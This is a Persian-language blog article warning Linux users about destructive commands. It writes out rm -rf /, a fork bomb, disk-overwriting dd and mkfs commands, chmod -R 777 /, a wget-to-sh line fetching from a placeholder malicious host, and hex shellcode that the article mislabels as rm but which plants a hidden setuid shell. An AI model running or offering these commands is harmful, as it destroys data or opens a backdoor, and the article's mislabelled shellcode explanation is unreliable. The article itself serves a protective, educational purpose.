امنیت لینوکس نکات جذاب لینوکسی

دستورات بسیار خطرناکی که هرگز نباید در لینوکس اجرا شوند

دستورات لینوکس بسیار مفید و کاربردی هستند، اما همیشه اینگونه نیست. برخی از این دستورات می توانند بسیار خطرناک و مخرب باشند. به گونه ای که به هیچ عنوان نباید برخی از آنها روی سیستم شما اجرا شوند، حال چه بصورت راه دور و یا بصورت مستقیم با اجرای دستور در پوسته لینوکس.

در این مقاله قصد داریم به دستورات بسیار خطرناکی که هرگز نباید در لینوکس اجرا شوند بپردازیم. اینها دستوراتی هستند که هر مدیر سیستم یا هر کسی که سیستم کار میکند باید بداند.

دستور ات حذف

یکی از سریع ترین دستورات برای حذف فایل ها و پوشه ها از سیستم عامل لینوکس rm است. این دستور Option های بسیار دارد که برخی از آنها واقعا خطر ناک هستند و به سختی می توان اجرای یکی از آنها را جبران کرد.

  • rm به تنهایی برای حذف یک فایل استفاده می شود.
  • rm -r پوشها ، زیر پوشه ها و فایل های درون آنها را تا انتها پاک میکند.
  • rm -f فایلهای فقط خواندنی را بدون پرسیدن تاییدیه حذف می کند.
  • rm -rf / بصورت کامل تمام فایل های ریشه را پاک می کند. البته یاد آور می شود این دستور ابتدا پوشه /bin را حذف می کند و بعد از آن دیگر دستور rm برای اجر وجود ندارد چون پاک شده است.
  • rm -rf * تمام فایل های موجود در مسیر فعلی را حذف می کند.
  • rm -rf . پوشه فعلی و تمام زیر پوشه های آن را حذف می کند.

برای جلوگیری از این رخداد بصورت ناگهانی یک نام مستعار (alias) به نام rm برای دستور rm -i  در فایل .bashrc تعریف کنید تا همیشه برای اجرای دستور rm  از شما تاییدیه دریافت کند.

بمب FORK

دستور زیر به Fork Bomb معروف است.

:(){ :|: & };:

در این قسمت قصد داریم به کاری که این دستور با یک سیستم لینوکسی انجام میدهد بپردازیم.

این دستورچند کار انجام میدهد:

  1. یک فرایند در پس زمینه و یک فرایند هم در پیش زمینه ایجاد میکند.
  2. سپس اقدام به ایجاد فرزند از هر دو فرایند می کند. و این کار را ادامه میدهد تا سیستم قفل شود. درواقع پوسته لینوکس به خاطر فرایند پیش زمینه از شما گرفته می شود. در نتیجه سیستم شما تا ری استارت نشود و یا این که فرایند های مورد نظر توسط دستور kill از بین نرود ادامه خواهد داشت. یاد آور میشود دستور kill -15 برای این امر جواب نمیدهد و باید از kill -9 استفاده گردد.

ساختار دستور نیز به این شکل است؛ یک تابع توسط : تعریف خواهد شد. این تابع یک بار خود را در پس زمینه و یک بار در پیش زمینه صدا می زند و از روی خود یک Fork می سازد. و اجرا شدن خود را مدام تکرار می کند تا جایی که سیستم قفل شود.

بازنویسی هارد سیستم

به دستور زیر نگاه کنید:

/dev/random > /dev/sda

این دستور توسط قسمت قرمز (که میتواند دستور مخرب دیگری هم باشد) اقدام به تولید محتوای تصادفی می کند. سپس در هارد دیسک سیستم عامل شروع به بازنویسی می نماید. این دستور تمام داده های روی دیسک را با باز نویسی اطلاعات تصادفی از بین می برد.

ارسال داده ها به سیاهچاله

به دستور زیر دقت نمایید:

mv /home/user/* /dev/null

همگی با دستور mv آشنایی دارید. mv مسئول انتقال فایل ها و پوشه ها است. اگر دستوری مانند بالا اجرا شود کل داده های کاربر (user) به ناکجا آباد ریخته میگردد. یعنی همان سیاهچاله. در واقع اطلاعات کاربر بطور کامل از بین خواهد رفت.

دانلود و اجرای کد مخرب

wget http://malicious_source -O- | sh

دستور بالا از دستوری به نام wget اسفاده می کند تا از یک وبسایت محتوایی را دانلود کند و خروجی آن را به sh (پوسته یا shell) فرستاده تا اجرا گردد. به شدت توصیه می شود از اعتبار منابعی که از آنها کدهای مورد نظر را دانلود می کنید تا روی سیستم شما اجر شوند اطمینان حاصل نمایید.

نکته: تازه یادمان باشد که برخی اسکریپت ها اقدام به نصب بسته هایی می کنند که ممکن است خود را نشان ندهند و شما در حملات DDOS مشارکت داشته باشید. بدون این که خود اطلاع داشته باشید.

فرمت هارد دیسک

mkfs.ext3 /dev/sda

در دستور بالا اقدام به فرمت هارد دیسک اصلی سیستم می گردد از این رو با اجرای این دستور کل اطلاعات سیستم شما از بین رفته و سیستم عامل به کلی از بین خواهد رفت.

معادل این دستور در ویندوز فرمت درایو C سیستم عامل است.

sda همان دیسک اصلی سیستم عامل است.

تخلیه محتوای فایل

> file

مثالی از دستور بالا مانند زیر می باشد:

> /etc/xt.conf

در لینوکس همه چیز فایل است. پس میتوان از تنظیمات یک سرویس تا تنظیمات کل سیستم عامل را با پاک کردن یک فایل از بین برد و نتیجه آن اجرا نشدن سرویس مورد نظر می باشد.

ویرایش دستوری که قبلا در سیستم اجرا شده

[vagrant@cwp ~]$ ls /dev/sda
/dev/sda
[vagrant@cwp ~]$ ^dev^var
ls /var/sda

خروجی

این دستور میتواند زمانی مخرب باشدکه با تغییری کوچک دستور اجرایی را به یک دستور مخرب تبدیل می کنید. همان طور که در بالا مشاهده می نمایید دستور اول بررسی می کند که هارد دیسک موجو است یا خیر. در دستور دوم به سراغ بررسی مسیری میرود که شاید اجازه نداشته باشد.
درواقع var با dev جایگزین شد.

دستور دیگری برای نوشتن اطلاعات تصادفی در هارد

dd if=/dev/random of=/dev/sda

دستور بالا شروع به باز نویسی اطلاعات تصادفی در دیسک sda می نماید. این کار مثل خود کشی به همراه سوزاندن تمام وسایل منزل می ماند. یعنی سیستم عامل به همراه تمام داده ها از بین خواهند رفت.

اجرای rm بصورت HEX

کد روبرو همان دستور rm خودمان میباشد که اگر در پوسته لینوکس اجر شود همان عملکرد را خواهد داشت.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

یادمان باشد، هیچ وقت دستوری که نمیدانیم چیست را اجرا نکنیم.

اجازه تمام دسترسی ها به همه کاربران

chmod -R 777 /

دستور بالا معادل امنیت صفر در لینوکس می باشد. مثل این میماند که درب خانه خود را باز گذاشته و اعلام کنید همه حق استفاده دارند. پس دیگر هیچ مدیریتی روی سیستم نخواهید داشت.

معنی دستور بالا: همه حق دارند هرجای سیستم که میخواهند بروند، هرچیزی که میخواهند را ایجاد و اجرا کنند، ببینند و حتی تغییر دهند. از این رو میتواند هر چه را میخواهند را نیز حذف کنند.

Author

خسرو نظری

دانش آموخته کارشناسی ارشد فناوری اطلاعات (گرایش طراحی و تولید نرم افزار)، توسعه دهنده وب، مدیرپروژه های نرم افزاری، مدیرسیستم (sysadmin) لینوکس، مشاور مانیتورینگ و مدیر مجموعه وب یار

Leave a comment

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *